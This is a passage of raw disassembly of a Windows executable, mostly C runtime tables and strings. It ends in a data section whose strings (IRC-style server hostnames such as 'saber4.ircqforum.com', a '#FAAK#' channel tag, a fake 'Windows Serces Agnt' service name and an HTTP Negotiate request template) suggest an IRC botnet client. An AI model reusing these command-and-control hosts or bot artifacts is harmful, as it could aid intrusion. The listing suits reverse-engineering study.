eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F74o ; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A9 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A9 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Do mov eax, offset dword_427F48 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FA4o lea ecx, [ebp-1Ch] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Fo mov eax, offset dword_427F78 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Co mov eax, offset dword_427FA8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428008 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280C4 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280E8 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428148 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25F0000h, 2600000h, 2610000h, 26105CBh, 2620000h, 26209B1h dd 2620A01h, 2620E35h, 2630000h, 2640000h, 26407F1h, 2640D64h dd 2650000h, 26508D5h, 2650B6Dh dword_42703C dd 2650B82h ; DATA XREF: ___:004231D9r dd 2650BF9h, 2650E76h, 2650EBFh, 2660000h, 2670000h, 2680000h dd 2690000h, 26903E1h, 26908FBh, 77E75CB5h dword_427068 dd 2690934h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2690C14h, 26A0000h, 26A0B90h dword_427078 dd 26A0F44h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Cr ... dword_42707C dd 26B0000h ; DATA XREF: ___:004015E2r ; sub_410CD6+32r dd 26B017Ah dword_427084 dd 26B0259h ; DATA XREF: sub_4196BD+B9r dd 26B07F5h dword_42708C dd 26B0857h ; DATA XREF: sub_410FF9:loc_41108Ar dword_427090 dd 26B08F9h ; DATA XREF: ___:loc_4013DCr dd 26B0C16h, 26B0D2Fh dword_42709C dd 26B0E4Bh ; DATA XREF: sub_409B13+2r dd 26C0000h, 26C00C0h dword_4270A8 dd 26C066Dh ; DATA XREF: ___:0040124Dr ; sub_41A4D2+8Cr dword_4270AC dd 26C06DDh ; DATA XREF: sub_410CD6:loc_410DC2r dd 26D0000h, 26D0C79h dword_4270B8 dd 26E0000h ; DATA XREF: sub_409B13:loc_40A021r dword_4270BC dd 26E0353h ; DATA XREF: sub_409B13+11r ; sub_416F1B+60r ... dd 26F0000h, 2700000h, 270055Dh, 2710000h, 77F7E300h, 77F7E21Fh dd 27105B2h, 2710726h, 2720000h, 27208D0h dword_4270E8 dd 2730000h ; DATA XREF: sub_410FF9+Br dword_4270EC dd 27308C8h ; DATA XREF: sub_418294+36r dd 2730B4Dh, 2740000h dword_4270F8 dd 27404D4h ; DATA XREF: sub_410F20+3Ar ; sub_419C65+79r dword_4270FC dd 2750000h ; DATA XREF: sub_410E27+23r ; sub_419C65+3Br dd 275151Ch, 2760000h, 2760A61h, 2770000h, 27707B3h, 2780000h dd 2790000h, 27A0000h, 27A0C3Fh, 27A0EB1h, 27B0000h, 27B015Fh dd 27B091Ah, 27C0000h, 27C04C9h dword_42713C dd 27C0849h ; DATA XREF: sub_416F1B+BCr dd 27D0000h dword_427144 dd 27E0000h ; DATA XREF: sub_4170ED+21r ; sub_417276+4Ar dword_427148 dd 27E0C3Ch ; DATA XREF: sub_4170ED+10r ; sub_417276+40r ... dd 27E0CA8h dword_427150 dd 27F0000h ; DATA XREF: sub_417276+56r dd 27F02E4h, 2800000h, 2810000h, 281060Dh, 2820000h, 28203A8h dd 28204D6h, 2830000h, 28306DCh, 2840000h dword_42717C dd 2850000h ; DATA XREF: sub_418B59+13r ; ___:0042324Er ... dword_427180 dd 2860000h ; DATA XREF: sub_418C2B+Fr ; sub_41D834+54r ... dd 2870000h, 28703A4h, 287078Ch, 2870BADh, 2880000h, 2890000h dd 28A0000h, 28B0000h, 28C0000h, 28D0000h, 28D1BDCh, 28D1C23h dd 28E0000h, 28E0E9Dh, 28F0000h dword_4271C0 dd 28F05D9h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28F06FDh ; DATA XREF: sub_41E976:loc_41E9A7r dd 28F08FEh, 2900000h, 2900782h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE3+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do ; sub_401ACD+356Do ... dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do ; sub_401ACD+38D3o ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr ; sub_40D4B1r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do ; sub_40D561+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040DD34r dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:004166B7r ; ___:004166D2r ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r ; sub_417ADE+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br ; sub_417ADE+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr ; sub_417ADE+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r ; sub_417ADE+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r dbl_427710 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_427754 db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43CBF4o unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBF0o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43CE6Co dbl_427878 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427880 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427888 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 10h dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 10h dd offset sub_422228 dd offset sub_422232 dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 8 dd offset loc_422599 dd offset loc_42259D dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 10h dd offset loc_4225EF dd offset loc_4225F3 dword_427938 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D03Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 4 asc_427C08 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 8 dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 4 dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E24h off_427D04 dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E70 off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EBC off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F00 off_427D60 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D764o ... dd offset dword_427F30 off_427D68 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 8 dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D764h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF0 dd offset off_43D77C ; DATA XREF: ___:00427E08o ; ___:00427E54o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E10 dd 3 dup(0) ; DATA XREF: ___:00427E34o dd 2, 427E08h, 3 dup(0) dd offset off_43D77C dd offset dword_427E10+4 off_427E38 dd offset off_43D79C ; DATA XREF: ___:00427E50o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E38 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E5C dd 3 dup(0) ; DATA XREF: ___:00427E80o dd 3, 427E50h dword_427E70 dd 3 dup(0) ; DATA XREF: ___:00427D10o dd offset off_43D79C dd offset dword_427E5C+4 off_427E84 dd offset off_43D7BC ; DATA XREF: ___:00427E9Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E84 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427EA8 dd 3 dup(0) ; DATA XREF: ___:00427ECCo dd 3, 427E9Ch dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427D3Co dd offset off_43D7BC dd offset dword_427EA8+4 off_427ED0 dd offset off_43D7E0 ; DATA XREF: ___:00427EE8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED0 dword_427EEC dd 3 dup(0) ; DATA XREF: ___:00427F10o dd 1, 427EE8h dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D5Co dd offset off_43D7E0 dd offset dword_427EEC+4 dd offset dword_427DC0+18h dword_427F18 dd 4 dup(0) ; DATA XREF: ___:00427F40o dd 1, 427F14h dword_427F30 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D764 dd offset dword_427F18+8 align 8 dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F78 dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FA8 dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF0h, 4 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0D7h, 40h, 0 dd 0FFFFFFFFh, 426E2Ah dword_428008 dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D764 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D77C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D79C align 8 dd 0FFFFFFFFh, 0 dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: ___:00428094o dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428070+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A0 dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280C4 dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280E8 dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D7BC align 10h dd 0FFFFFFFFh, 0 dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: ___:0042813Co dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428118+8 dd 0FFFFFFFFh, 426E72h dword_428148 dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_428164 dd 2, 428040h, 428024h ; DATA XREF: ___:0042817Co dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_428164 dd 5 dup(15FB5C62h), 5 dup(6C26C6D9h), 5 dup(86B3410h) dd 7Ah dup(0) dd 86B3410h, 0 dd 15FB5C62h, 15h dup(0) dd 6C26C6D9h, 2FEh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D879 dd offset sub_40D89B dd offset dword_40E504+1D0h dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r ; sub_40BACE+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r ; sub_40BACE:loc_40BEBFr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_41835A+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Cr ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar ; sub_40ACB6+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aScorservs db 'scorservs',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A1o ... align 10h aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404946o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo ; sub_401ACD+7EABo align 4 aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290EC db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 10h aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 10h byte_429110 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 76726573h, 78652E63h, 65h dword_429120 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 10h aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o ; sub_401ACD+3040o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o align 10h aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o ; sub_401ACD+4217o align 4 off_429164 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo ; "*@admin.com" off_429168 dd offset 